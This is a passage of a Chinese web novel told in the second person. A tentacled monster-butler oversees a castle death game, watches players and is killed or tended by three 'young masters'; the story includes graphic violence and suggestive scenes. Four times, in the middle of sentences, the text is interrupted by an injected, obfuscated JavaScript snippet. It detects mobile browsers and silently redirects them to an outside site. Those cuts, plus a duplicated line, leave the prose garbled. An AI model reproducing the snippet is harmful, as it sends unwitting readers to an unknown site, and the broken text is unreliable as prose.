你走到玩家四号面前,她的个子不及你,你俯视着她,开口问道:“您还有什么问题,都可以问我。我是管家,守卫古堡是我的职责。” “温谷,死了吗?” “不知道。” 你从不记无关紧要之人的名字,根本不知道温谷是谁,自然也无从知晓答案。 “管家大人在夜里推开过房门吗?” “推了。” “为什么?” “帮你们锁门,保护隐私。” 人群中响起细碎的议论声:“这么好心?”“保护我们?”“骗人的吧。” “管家大人会欺骗我们吗?” “我不会欺骗您。” 你的确从不说谎,你知道的都会如实告知。 所有话都是真话,只不过,组合起来…… 这是蒙太奇式的语言,是你在第四位面喝酒时学到的技巧。 玩家四号还想继续追问,被她身后的玩家九号拉住了。 玩家九号是名男性,长相也十分出众,乍一看竟有几分像二少爷。只是比起二少爷,这位九号少了几分妖冶的气质,显得过于端正刻板。 你笑而不语,对二人微微点头,恭敬地退下。 没走两步,又转过身补充道:“一人一间房,不要睡同一张床,要做讲文明、懂礼貌、守规矩的人哦。” 第四位面的经历实在把你吓怕了。 当时就是一名玩家误闯了诡异的领地,结果反倒闯进了诡异的心里,后来那诡异还跑到玩家房间去找那个人类胡闹…… 玩什么不好,偏要带坏旁人。 简直离谱至极。 你来到五楼,去找大少爷。 大少爷并不在房间里,他在不在都无所谓。你取下墙上的画作,触手探入其中,转动两下,随即直接穿透画布,触手带着你一同被吸入画中。 除了小少爷与二少爷的房间,其余所有房间,包括走廊,都挂着大少爷的画作。 大少爷天生喜欢偷窥,你当初创造他时,未曾想到会赋予他这么实用的能力。以往的少爷们都只进化出了高强度的攻击能力,导致你往年探查玩家时,总要浪费大量魔力。 打开第五扇门,你来到走廊大厅的画作之中。 走廊大厅悬挂着一幅巨型真人画像,画中是一位老者。 玩家四号再一次锁定了你的位置。 她的感知实在敏锐,你对她欣赏不已,也十分看好。 你甚至舍不得让触手吃掉她了。 要不,造一位小姐出来? “禅意,你在看什么?”玩家九号靠近四号。 好看的人站在一起,连画面都格外赏心悦目。 “我总感觉有人在盯着我们。” 九号顺着她的目光看向画作:“这画的是谁?” “城堡的老爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343125|199456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “我也觉得,城堡有管家,有少爷,理应还有一位老爷。” 五号也跟了过来,挤到两人中间:“我们什么线索都没找到。” 五号急得快要哭出来:“怎么办啊,为什么我们手气这么差,抽到了位面五……上一批通关的人全都死了,一点经验都没留下……呜呜呜……” 上一批…… 哦,那次,一百二十年前,你至今还记得那三个男人。 那次事件是你事业生涯中的滑铁卢。也正是从那以后,你决定删除老爷这个人物,转而创造少爷。第一批少爷,就是按照那三个男人的模样打造的。 只可惜,第一次手艺尚不成熟,还没和他们玩多久,就被下一批玩家炸死了。 你陷入回忆,第一批少爷的味道,确实很不错。 玩家九号双手插兜,不知在把玩着什么。 四号一把抓住他的手腕:“里面是什么?不是说好了把眼珠放在卧室吗?” 九号反手握住四号的手,十指相扣:“没事的,那位管家不是说了,少爷最不喜欢别人碰他的东西。戴上眼珠,万一能吸引少爷呢?” 四号甩开他的手:“你疯了,到时候死的就是你!死去的五个人里,有四个都是在晚宴中吃下了眼珠,你还不明白吗?” “可是温谷没吃……” “可温谷还是死了!” “不是没找到他的尸体吗?” 两人之间产生了裂痕。 你看得津津有味。 四号的气势弱了下来:“我检查过那四具尸体,没有获得任何新能力,这说明眼珠就是个定时炸弹。” 九号咄咄逼人:“你凭什么得出这个结论?呵,就凭你的经验?” “对,就是经验。”四号推了推眼镜,向外走了两步,与九号拉开距离。 九号侧过脸,你清晰地看见他翻了个白眼:“谁的经验能有你多啊,十个位面,你成功闯过了七个。” “位面每年都在变化,你又不是不知道,多一点经验傍身总归是好的。”四号不再理会他,带着五号转身离开。 九号冷笑一声:“烦死这个世界了……真的,都去死吧。” 你来到这个世界数百年,第一次见到一心求死的玩家。 若不是在老家太过无聊,你也不至于和另外九位诡异组局,来到这个世界寻找乐趣。 那些玩家闯入这些位面,不过是一群为了钱财的亡命之徒。每通关一个位面,位面的诡异便会发给通关者一笔酬金。这笔钱对诡异而言微不足道,对人类来说却是一笔足以颠倒乾坤的巨款。 你正看得入神,忽然眼神一凛,触手瞬间出击,将身后的人牢牢捆住。 大少爷抓着缠在脖子上的触手,呼吸不畅,断断续续地说道:“管家……大人……” 你依旧盯着大厅里的几个人类,头也不回地开口:“正因为是你,我才没有用力。” 触手松开了他,他立刻凑上前来,抱住你的腰:“这就是管家大人不理我弟弟的原因吗?” 他笑着将下巴抵在你的肩上:“那个人,和二弟长得真像。” 你推开身后的人,触手猛地击打他的腿窝,他“噗通”一声跪倒在地。 大少爷勾起唇角,并未起身,而是跪着挪到你的脚边,抱住你的大腿,将脸贴在你的腰腹间,不再说话。 因为他看见了自己亲爱的弟弟,正出现在大厅之中。 小少爷抱着玩偶,脸上是难得一见的怒气:“你们……碰了我的东西。” 他锁定了九号,看清对方的样貌后,一双红眼泛起微弱的红光。 下一秒,他便瞬移到了九号面前。 “你……原来是你……” “抢走了,管家大人……” 5. 二少爷 你在画中看好戏。 你相信小少爷的能力,他不会在第一场大逃杀中身死。 虽然之前也碰见过厉害的玩家,一下子就把小少爷击杀了,但你创造他们的时候,才刚给他们增强过能力。 为此,还欠了第九位面一个人情。 玩家九号被骤然现身的面无表情的小正太吓得魂飞魄散。 “什么东西,我靠!谁抢走了你的管家!” 他正要逃窜,一股磅礴杀意轰然压下,双腿瞬间发软,动弹不得。 不过是个孩童,怎么可能…… “砰!” 玩家四号拔枪,对准小少爷扣下扳机。 小少爷身形一闪,瞬移至玩家一号身侧,四号的攻击落空,狂暴的冲击力却将长桌震成两截。 这是什么武器,从哪个位面获得的? 你对这个黑黢黢的东西没有任何好感。 玩家九号瘫在地上,四肢并用爬到大厅角落放花盆的小桌子下,蜷缩在一起,捂着头。还以为九号和四号关系多好呢,你看得津津有味,好一个完美躲藏,隔岸观火。 “面对真理吧,小畜生!”他癫狂大笑,从后腰摸出一把小型武器,对准与四号缠斗的小少爷。 扳机尚未按下,小少爷已瞬移至他面前。 九号的惨叫撕裂空气,小少爷一手抱紧玩偶,一手碾碎他的藏身之处,随手掰断他的手腕甩飞。九号被狠狠砸在墙上,小少爷再度瞬移,避开四号的攻击,径直踏在九号背上,一脚踹碎了他的头颅。 断头处鲜血喷涌,比古堡花园的喷泉还要绚烂刺目,九号早已面目全非。 一人死亡。 全场静谧。 玩家五号吓得连尖叫都发不出,连连后退,被满地碎片绊倒在地。 九号口袋里圆滚滚的眼珠滚落,小少爷弯腰拾起,猩红的眸子锁定一号与十三号:“拿我东西干嘛?我好心把东西分享给你们,你们竟然偷偷藏起来。” “我好难过,管家大人不陪我玩,她说要招待客人。” 小少爷抱紧玩偶:“你们陪我,好不好?” “我们来玩丢眼珠?” “或者是,你藏我找?” 一号强压恶心,躲到四号身后。魁梧的身躯几乎是四号的一倍,以滑稽的姿态缩在小掩体后,厉声控诉: “是你不讲道理!明明是管家拿出来招待客人,结果不让吃不让拿,摆出来做什么?当摆设看吗?” 四号一直在观察小少爷:他手里的眼珠和他的眼睛是一样的,这个小孩速度极快,这是其一。 按照位面逻辑,NPC的能力和自身的身体特征有关,那么,这个小孩的能力很大可能来源于眼睛。 四号听到身后一号的说辞,悄咪咪地挪动脚步。 一号一身肌肉,鼓鼓囊囊,开始膨胀。 看来他的能力是肌肉强化,高强度物理伤害,但是,速度太慢。 果然,下一秒,小少爷瞬移到四号身后。 一号,也被爆头! 一团猝不及防的温热溅到四号的后背,将她的月亮耳钉染红。 是血…… “啊——!” 尖叫刺破死寂,余下的人疯一般逃窜。 “没人告诉我NPC喜欢路易十六啊啊啊啊啊!”玩家五号率先冲上楼,肾上腺素狂飙,爆发出前所未有的速度。 其他人底牌未露,火焰未烧到身上,便绝不会轻易出手。 还剩十三号没有被击杀。 十三号是一位穿着短裙的长发女孩,圆框眼镜后的圆眼嘀哩咕噜地转,你对她有印象。 她很聪明,一直缩在阴暗处观察众人,不发表意见,只跟着人群走。 其他人一窝蜂上楼,只留下四号一人苦苦支撑。 四号发现,小少爷的攻击停止了。 他的目标,已经不在大厅了。 四号瞟了一眼一号的尸体,眼珠从他口袋里滚落。 又是眼珠。 她瞥向一号的尸体,眼珠从口袋里滚出。 又是眼珠。 “别动!”四号举枪嘶吼。 “砰!” 小少爷不闪不避,硬生生受了一击,依旧缓步向前。 “明明击中心脏了……怎么还没死……” 他无视紧绷如弦的四号,弯腰捡起一号的眼珠。 而后,顶着胸口血流不止的伤口,面无表情地回头,望向大厅中央的老爷画像。 “我的小弟弟难过了。”大少爷跪地蹭着你的腰腹,语调扭来扭去,“管家大人心疼了吗?要去哄哄他吗?管家……大人,嗯?” 你最受不了他这阴阳怪气的调子,用触手把他扒拉开:“滚。” “哈,啊哈……”他顺势躺倒,将身体折成极具诱惑的姿态,捂住心口,“管家大人连触手都舍得伤我了,我好疼,要你摸摸才能好。” 没脸的触手满头问号,探出小脑袋,无声地谴责着他。 大少爷抓住触手,从尖端一路轻揉慢抚,如同滑下一道长梯,直抵你的尾骨。 你目送小少爷走向四楼,对身后的骚动置若罔闻,抬脚一踹,大少爷应声倒地。他低吟一声,扯开衣襟:“嗯哼~肚子被踹紫了,好痛。” 小少爷不得踏入客人居住的二三楼,这是你的命令。十三号成功逃回房间,他便无法再动手。 小正太委屈巴巴地抱着玩偶,扶着楼梯,一步一步慢慢走。 四号坐在地上,发丝凌乱,举枪瞄准少爷的背影,准备再开一枪。 小少爷发丝微动,脚步未停,怀中的玩偶却凭空消失。 “啊啊啊啊——!”四号发出凄厉惨叫。 她的整颗头颅,被玩偶一口吞下。 那只看似可爱的兔子玩偶,嘴张得比身体还大,腹中是深渊,是堆积如山的白骨。 四号在玩偶体内看见一湖血水,整张脸浸在水中,窒息感疯狂涌来。 片刻后,她挥舞的手彻底静止。 玩偶被一股无形之力扯回,落回少爷手中。 四号的头被吐了出来。 女孩躺在地上,胸膛剧烈起伏,大口喘息。 她望着小少爷登上四楼。 时间倒流,真是个好用的能力。 你有点羡慕。 她似有所感,盘腿坐起,理了理沾满血污的长发,直直望向老爷画像。 你与她隔空对视。 你抬眼,心里兴奋极了。 四号……越来越想把你吃掉。 你将地上蠕动的大少爷踢到一旁,跨过他,推开第五扇门,重回古堡。 你该去安慰小少爷了,但在此之前,你要先见一个人。 踏入六楼,推开门,二少爷不在卧室,盥洗室传来水声。 二少爷正在洗漱,你毫无顾忌,推开磨砂浴室门。 他赤身而立,对你的到来不见丝毫慌乱,坦荡从容地站在你面前。 “用冷水,不怕生病?”你关掉花洒,指尖抚上他的手臂,一片冰凉。 “我故意的。”他靠近,伸手想抱你,你舍不得心爱的管家制服被打湿,侧身避开,将浴巾扔给他。 你看着他擦净身体,伸手攥住他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343126|199456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发,二少爷被迫仰头,露出纤细脖颈。 你的手掌按住他的胸膛,猛地一推。 “咚”的一声,他后背撞在玻璃门上,蝴蝶骨磕出清晰的轻响。 冰冷的玻璃让他浑身一颤。 “以后多吃点。”你淡淡开口。 二少爷眼尾泛红,泪珠悬在睫尖摇摇欲坠,浴室温度骤降,他呼出的气凝成细小白雾,将脸庞晕得朦胧。 …… …… …… …… …… “小少爷受伤了,我要去给他疗伤。”你语气平淡。 “哥哥……他不是可以……” “大少爷不行,他的性子你还不清楚?乖张跋扈,唯我独尊。” 是的,大少爷唯你独尊,毕竟你早已将他彻底驯服。 这么久,早就打服了,也打顺了。 别试图反抗命运,否则只会让臣服者更沉溺。 这句话,也就大少爷真正听进了心里。 大少爷有两项能力:一是在阴影中窥视,二是以血液为你疗愈。 “别让别人找到你,听到了吗?” 他侧着脸,温顺地任由你抚摸脖颈。 “我一直待在六楼,所以……”他睁开眼,你从那双浅金色瞳孔里,看见正舔着唇的自己。 那是你兴奋时的模样。 你偏爱他这双浅金色眼眸,像黄昏最后一缕光凝在眼底,温柔却不染尘俗,明明近在咫尺,却带着遥不可及的圣洁。 你偏爱将他染色,从苍白染成绯红,将圣洁碾碎,这让你充满掌控一切的成就感。 你与触手将他揉碎重塑后,那一瞬,他便成了妖冶入骨的二少爷。 “所以,”二少爷追着你的手,声音发急,“你会特意来看我,对不对?” 他急切地挣扎,触手稍稍松劲。 他捉住你停在下方的手,将脸埋进你的掌心。你被他滚烫的温度烫得微顿。 “中间的孩子,最容易被忽略……” “你会多爱我一点,对不对?”二少爷的眼泪落下,一滴滴顺着你的手臂,滑进袖口。 “当然。”你轻声安抚,“毕竟,你是我的蓄水池。口渴了,自然要来喝一口。” “没人能取代水的位置,不是吗?” 他不再说话,只是紧紧贴近你。 “暖好了吗?我不喜欢冷血。” “早就暖好了。”他如愿以偿地环住你。 你对准他的脖颈。 低头,咬下。 二少爷的血,只需一口,便能让你恢复全部魔力,代价是他会浑身冰冷,虚弱许久。 同样,人类若饮下他的血,也能瞬间痊愈。 在画中时,你便感应到第四位面抽走了你存放的三成魔力,迫使你不得不来找二少爷。 即便恢复满状态,你仍要再分三成魔力回去。 老四还得练,消耗这么多魔力修复位面,看来第四位面的那群客人,差点把他的家拆了。 你心满意足,齿尖离开他的肌肤。 二少爷的身体,再次变得冰凉。 你将他抱起,放到床上。 二少爷死死攥着你的手:“别走……陪陪我,我会让自己暖起来的。” 他握得越来越紧:“管家大人……求你……” 你笑而不语,轻轻抽回手,将他裹进被子,包成一只严严实实的蚕蛹。 “好。”你轻声答应。 说完,转身离开。 你还要去安慰小少爷。 管家,从来都是最忙的。 6. 偷窥 小少爷的衬衫破了一个洞,露出胸口的伤口,好在已经不再流血。 “管家大人,我好痛……”他拉过你的手,轻轻按在自己的心口。 他的心脏在你掌心,沉稳而有力地跳动着。 “还挺有活力的。”你淡淡开口。 他轻哼一声,赌气甩开你的手,在床上侧过身,只留给你一个后脑勺。 “好了好了。”你扣住他的肩膀,把他转了回来,“我给你治疗。” 你伸出触手,轻轻掀开他的衬衫,一圈圈温柔环住他的腰与胸口,将伤口轻轻覆盖,触手尖渗出微凉的透明液体,液体慢慢下渗,不一会儿,少爷的肌肤上就涂满液体。 小少爷紧紧攥着你的手:“冰冰凉凉的……” “舒服吗?”你问。 “舒服。” 话音刚落,他便一头扑进了你怀里。 “那些人太过分了!”小少爷轻轻捶了捶你的胸口,这点力道对你而言就跟挠痒痒一样。 他最擅长用这种方式勾起你的怜惜,再带着一点小小的委屈试探你,明明是在撒娇,偏要装出赌气的模样。他那双漂亮的红眸本就动人,此刻眼眶微红,泪珠将落未落,更显惹人疼惜。 “你是不是又注意到别人了?” “谁?” “就是那个男人,他长得有点像哥哥。” “九号吗?” “你看,你连他的编号都记得!” “九号还有名字?”你其实根本不记得。 “你这个……”小少爷胸口微微起伏,气鼓鼓道,“你这个大笨蛋!” 你被他不痛不痒地骂了,心里反倒泛起一丝微妙的爽感。也难怪,九号是第一个被他清理掉的人。 “你说话啊,是不是?”小少爷仗着自己可爱,又开始耍赖。 你不想回答这个问题。是又如何,不是又如何?他改变不了你的决定,也没有那个资格。 这时,触手传来提示,治疗已经结束。 “好了,我该走了。” “不要,留下来陪我。”他抓住你的衣袖,“要不然,我跟你一起走?” 你思索片刻,还是决定带上他。毕竟他生得好看,带在身边,连处理事情都觉得舒心。 这个位面的规则简单而残酷:强者为王,逃者生存。 没有复杂的推理升级,没有奇遇般的能力觉醒,这里只有一场无止境的大逃杀。 别以为管家大人是冷血无情的人。要知道,在这里的每一个人,都是在现实世界生死边缘挣扎的亡命之徒。 你有自己的底线:不杀无辜之人。 至于你的道德标准是什么? 很简单,你定下的规矩,就是道德。 小少爷见你迟迟不答,拽着你的手,将额头轻轻贴在你的手背上:“求求你,管家大人,我命令你,带上我。” 少爷的命令,管家本就该遵从。 你没忘记自己的身份。 你自然会满足他。 “好,跟我走。”你朝他招了招手,语气像在对待一只乖巧的宠物。 你们来到五楼,走入那幅诡异的画作之中,刚一踏进,便遇见了大少爷。 “我亲爱的弟弟……”大少爷笑得暧昧,眼底翻涌着不正常的兴奋。 他身体扭曲地趴在地上,眼珠上翻,声音怪异而癫狂:“好兴奋……我见到弟弟了……开心吗,我的弟弟?” 小少爷嫌恶地后退两步,紧紧抱着怀里的兔子玩偶,半个身子躲进你的阴影里。 “疯子。”你听见他小声骂道。 你面无表情地瞥了一眼在地上自顾自癫狂的大少爷,缓缓放出触手。 大少爷像是抓住了救命的浮木,疯了一般缠上你的触手,紧紧抱住。 小少爷不停翻白眼:“他到底怎么了?以前明明没有这么奇怪。” “不清楚,或许是沾染上了什么不该碰的东西。” 你隐约闻到一丝不对劲的气息。 “管家大人……”大少爷稍稍恢复了一点神智,衣衫凌乱,“可以……借你的触手一用吗?您明白的。” 你点了点头。 他立刻扑了上来。 触手脱离尾骨,缠绕他。 大少爷向来痴迷与触手的纠缠,性格又放纵贪求。若是想让他满足,你需要耗费极多的精力。 可他永远只会喊着“还要更多”,像一个永远填不满的深渊。 不会满足的欲望,从来不止这一种。 你牵着小少爷,从他身边径直跨过:“把这幅画收起来,不该挂的地方别挂,不该看的东西,也别多看。” 不理会地上人的反应,你推开了画中的门。 这里是玩家四号的房间。 四号正在房内踱步,没人去打扰她,屋里已经聚集了不少人。 小少爷抬头悄悄观察你的神色,再看向四号时,眼神瞬间变得锐利冰冷。 你不用看也能察觉到他气场的变化:“别呲牙,你不是猫系的。” “那我是什么?”他委屈地问。 “是只粘人的小狗。” 小少爷非但不生气,反而格外开心。 “是狗狗也没关系,至少说明,我在你心里。” 你专注地观察着眼前这批玩家,懒得回应,只从鼻腔里发出一声轻应:“嗯。” 六号用力抠着脖子上的号码牌:“这东西到底怎么回事?怎么摘都摘不掉!” 八号跟着附和:“就是啊,挂衣服上不行吗?非要弄成项圈戴在脖子上,搞得奇奇怪怪的。” 六号和八号都是男的,长相都十分普通,甚至有些粗鄙,你看一眼便觉得无趣。 还是四号看着顺眼。 “那个人,”小少爷指向人群里不起眼的十三号,“她身上还藏着我的东西。” 你只一眼,便看穿了对方的能力:“她可以降低自身存在感,很有用的能力。你之前,就是被她骗了。” 小少爷不满地嘟起嘴:“哼,下次我绝不会再上当,第一个就去找她。” “祝你成功。” 十二号疑惑开口:“那些被收集的眼珠,到底有什么用?” 四号走累了,抱臂坐在镶金软椅上,姿态慵懒,翘起长腿:“眼珠根本没用。” “为什么?” “那只是一个幌子,一个挑起屠杀的借口。”四号的小腿轻轻晃动,“死了的人,身上都揣着眼珠。” 她的目光,时不时落在房间里的那幅画上。 四号房间里的也是一幅人像,画中女子美得惊人,眉眼之间,竟与小少爷有几分相似。 五号开口:“那这么说,现在也有一个挑起屠杀的借口,管家说不能随便窜房间。我们要是违反了,是不是又会有人来杀我们?” 她小声抱怨:“搞得跟上学一样,还不让串门……” “不会。”四号笃定摇头,“因为我们的客房,是少爷的禁区,他进不来。” “对对对……” “我之前也注意到了。” 人群立刻响起一片附和声,嘈杂得像一群嗡嗡乱飞的苍蝇。 十三号双手插在裙袋里,指尖在袋中不安地转动。 她站在五号身后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343127|199456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长发遮脸,存在感低得几乎可以忽略。 四号将所有人的神情尽收眼底。十三号悄悄把手拿出来,无意识地摩挲着手臂。 她的裙子口袋很大,没人注意到她细微的动作。 四号在她脸上停留一瞬,随即对众人道:“好了,大家先回去吧,回到各自的房间。” “我不敢。”五号哭了起来,“我能跟着你吗?这里什么提示都没有,我该怎么办?我不想死……” “我也是……” “我也不敢……” 越来越多人附和。 八号说:“管家不是说不能睡一张床吗?我们不睡就是了。” 六号立刻搭腔:“对对对,管家到底能不能信?她不是说不会骗我们吗?她肯定是关键人物,我们一起从她嘴里翘线索。” 八号跟着喊:“人多力量大,一起去!” 四号望着墙上的美人画像,轻轻一笑:“好啊……你们决定就好。” 你低头,心情不错地问小少爷:“看出什么了?” “一群蠢货。”小少爷不屑地哼了一声。 他一直紧紧牵着你的手,手心微微出汗,黏腻而温热。 四号,心思深沉,禅意淡然。 她的名字着实取得不错。 她应该已经察觉到小少爷的能力,却故意不点破。 十号深吸一口气,鼓起勇气开口:“少爷不能进客房,那我们在二三楼活动,就是安全的。” “我们就在二三楼待着吧。” 十二号问:“要怎么召唤管家?” “难道喊一声就来?还是摇铃?” 四号抬起手腕,露出一块精致的腕表:“快到中午了,管家中午应该会来安排午餐。” “我们要找的,是这座城堡的规则。只要不触犯规则,熬够时间,就能出去。” 五号声音颤抖:“要熬多久?” 四号没有回答。 你牵着小少爷回到大少爷房间时,他正与触手玩得忘乎所以。 你停下脚步,安静地看着他自娱自乐。 “管家大人,小弟弟,要不要一起来玩啊?”他面色潮红,眼神迷离,极度失态。 “你之前去了哪里?看到了什么?”你问。 “什么?我什么都没看到啊……”大少爷眼神涣散,你的身影在他眼中早已模糊成一片虚影。 大少爷变得越来越……你找不到合适的词语形容。 从前的他虽然变态,但好强又固执,一心想要翻身,掌控自己的命运。 你将这份疑惑压在心底。 “别学他。”你对小少爷说。 “那是当然,我才是最正常的。”小少爷骄傲地扬起下巴。 你把触手留下陪大少爷,心里已经有了打算,今晚,你会再过来一趟。 你本就不算正常。毕竟,创造出大少爷这样存在的人,本身就藏着不为人知的欲望。 小少爷察觉到你的心思,转头看向不知收敛的哥哥,气得脸颊鼓起,重重哼了一声。 “别学河豚鼓脸。”你说,“大度一点,不然我可不喜欢你了。” “你喜欢我!”小少爷猛地大叫。 你笑而不语。 大少爷“好厉害”的背景音离你们越来越远。 把小少爷送回房间后,你来到二楼,一间间敲门提醒。 在三楼,你发现了那群聚在一起窃窃私语的人。 你脸上挂起无懈可击的温柔笑容:“各位客人,午餐时间到了。” “少爷吩咐,要以最高规格招待各位,请移步大厅,用餐。” 7. 午饭 剩下的人几乎都躲在四号身后。 “如果我们不去大厅,会怎样?”四号问。 你并未感到冒犯,耐心地说:“一日三餐最健康。” 你清楚地看见四号那双迷人的棕色眼珠微微颤动。 你这人有个怪癖,格外喜欢注视别人的眼睛。那句话怎么说来着,眼睛是心灵的窗户。你活了这么久,总能从人类的脸上看出些什么。 四号深吸一口气,攥紧衣角:“就一位少爷吗?那个男孩?” 你戴着手套,双手背在身后,背脊挺直。 你的个子比对面的人高出不少,微微抬头,睥睨着她。 “这位客人,要懂礼貌。” 她叹了口气,气势瞬间弱了下去,随后带着最后一群蝼蚁下了楼。 他们原以为会看到腥臭血腥的大厅,结果里面一尘不染、窗明几净。 大厅恢复了原样。 众人坐在一起,战战兢兢地环顾四周,虽满心好奇,却也不敢多问。 你坏心大起:“还有一些客人呢?我明明叫过他们了。” “你不知道?!”五号惊骇地站起身。 她抢位置时比所有人都快,径直坐到了四号身旁。 四号把她拉了下来。 一向懂礼貌的你微微弯腰,凑到她身边直视着她:“我该知道什么?” “不,不……”五号双腿一软,别过头去,嗫嚅着。 弱者。你从鼻子里发出一声轻蔑的哼笑。 五号浑身发抖,更紧地贴向四号。 只有第一天的晚饭不太正常,那是因为你喜欢在第一天给这些人类留下一点引人好奇的钩子。 今天的午饭很正常,都是人类能下咽的食物,只不过,依旧没人动筷。 “不能浪费。”你提醒道。 他们瞬间清醒,狼吞虎咽起来。就算吃不下去,也硬往嘴里塞。 四号放下刀叉,碰撞盘子的声音格外刺耳。你皱眉看向她。 “管家大人,”她开口,“少爷会招待我们几天?” 你故作诧异:“你们可是少爷最好的玩伴,邀请函上没写吗?” 大厅里摆放的珍贵瓷器,影子在你脸上攀爬,又随着你的动作缓缓下坠。 这个位面是唯二能看见阳光的地方,另一个是第四位面。 你走到巨型老爷油画下方,刺眼的光线透过彩色玻璃,将你映照得五色斑斓。 你此刻心情正好,有心逗弄他们:“少爷想让你们一辈子陪着他。” 你如愿看到众人扭曲惊恐的神情,愉悦地补了一句:“开玩笑的。” 八号怒火直冲脑门,看得出来,他对你早已极度不满。他浑身发抖,额角青筋暴起:“你不是说永远不会欺骗我们吗?” 你在脑中回想了一遍:“我有说过不骗你吗?是你听错了吧。” 你无奈摊手,摆出一副无辜的模样:“我刚才的确没有说谎。” 众人向来听四号的话。四号示意八号坐下,他右手边的六号立刻把他拽了下来。 四号不卑不亢地说:“感谢管家大人的服务。不知我们是否可以参观城堡?少爷的邀请函上也曾提过一句。” 根本没有什么邀请函,全是你瞎编的。 这些人也只是手气较好,抽取位面时幸运地落到了你的地盘。 你答应了他们,并告知另一则通知:“当然可以,我亲爱的客人。只是不能触碰那些名贵物件,毕竟都是少爷的。另外,少爷想和你们共进晚餐。” 你听见四号心脏狂跳的声音,急促而慌乱。 她在紧张。她重新拿起刀叉,紧紧攥住,耳后的发丝滑到前面,遮住了她的月亮耳钉。 “感谢管家大人的告知。”她说。 你绕着长桌走了一圈,走到十三号身后时,闻到了一股熟悉的气味。 不刺鼻,却很怪异,谈不上臭,也算不上香。 你退下后,一群仆人浩浩荡荡地围了上来。他们如同木偶,动作机械,没有笑容,眼睛一眨不眨。 这群伪人,只会给正常人类带来毛骨悚然的怪异感。 伪人很有用,没有生命,却有着无尽的利用价值。他们真的会为你榨干最后一丝价值。 大少爷不仅通过画作监视着这些人类,还借着这群伪人监视一切。 突然,你的心脏空落了一瞬。 你靠在墙上,调整着呼吸。 搞什么,第四位面又在抽取能量?不是才输送过去吗?这才过了多久! 不行,必须去第四位面看看,这个念头瞬间涌上心头。 念头一起,你便强迫自己冷静思考。 在你这里,从没有事不过三的说法。 只要有一丝不对劲,就必须视作威胁,第一时间扼杀。 新老四不行,管不好位面,那就再换一个第四诡异。 毕竟,这个新管理者不是你扶持上来的。 一共十个位面,十位统治者。 十个位面在这个世界的异空间里存在了近两百年,两百年也才是现实世界的五十年。 两百年间,从未被替换的统治者只有两位:第五位面的你,和第九位面的桑齐。 统治者这个名头,外界并不认可,反倒称你们为“诡异”。 那些新上位的诡异,大多是旧诡异的手下,能力得到认可后顶替上位;也有的是其他位面的诡异扶持上来的。 你的世界里同样充斥着阴谋与走后门,毕竟大家都有脑子和欲望。你的野心,必须与能力成正比。在这个崇尚武力的怪圈中,用拳头说话,能解决百分之八十的矛盾。 大家也会在位面易主期间大发善心,顺手帮个小忙,赚一份人情。 在你统治的第五位面,你能通过触手啃食恶意来获取能量,同时将对方吞噬,化为养料,供给整座城堡运转。 没错,城堡是活的。 你堪称劳模,身兼数职:统治者、管家、宿管、安全员,还是清道夫。 把尸体摆给他们看看就行,只是吓吓他们,又不能长期存放。万一臭了,城堡里的三位少爷又要怨声载道了。 瞧瞧你,多能吃苦耐劳。把正常的食物留给客人,自己却吃尸体。 你差点被自己感动到落泪。 哈,也只是差点而已。 到现在为止,你一共吞噬了七具躯体,消化了色、贪、阴、狂四种恶意。 嗯……还远远不够。这群人太弱,再加上第四位面消耗的能量太多。 你从不是怜香惜玉的人。偶尔会怜惜少爷们,也纯粹是因为他们讨好你,让你心情不错。 当下计划:切断对第四位面的能量输送,同时去二少爷那里补充能量。 你在心里给自己列好了计划表。 今晚,貌似会有点忙啊。 剩下的八个人里,还有些没展露过能力呢。 二少爷是水做的。 受他能力所赐,他是三位少爷中最湿润的,因为他必须要随时等待你的到来,随时等待着把补充能量的东西递到你嘴边。 就算被榨干。 二少爷躺在床上,翻着童话书,你低头瞟了一眼,这应该是小少爷的。 “怎么这么快就回来了。”他问。 “我有能量不足恐惧症。”你说。 他侧过身在你身上摸索:“触手呢?” 不等你回答,便合上书,把自己缩进被子里:“我就知道,你把东西给哥哥了。” 少爷们都喜欢触手,因为这是能让他们愉悦的东西,是他们从小的玩伴。 哦,不是从小。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343128|199456||http|test|mini|href|location''.split(''|''),0,{})); () { 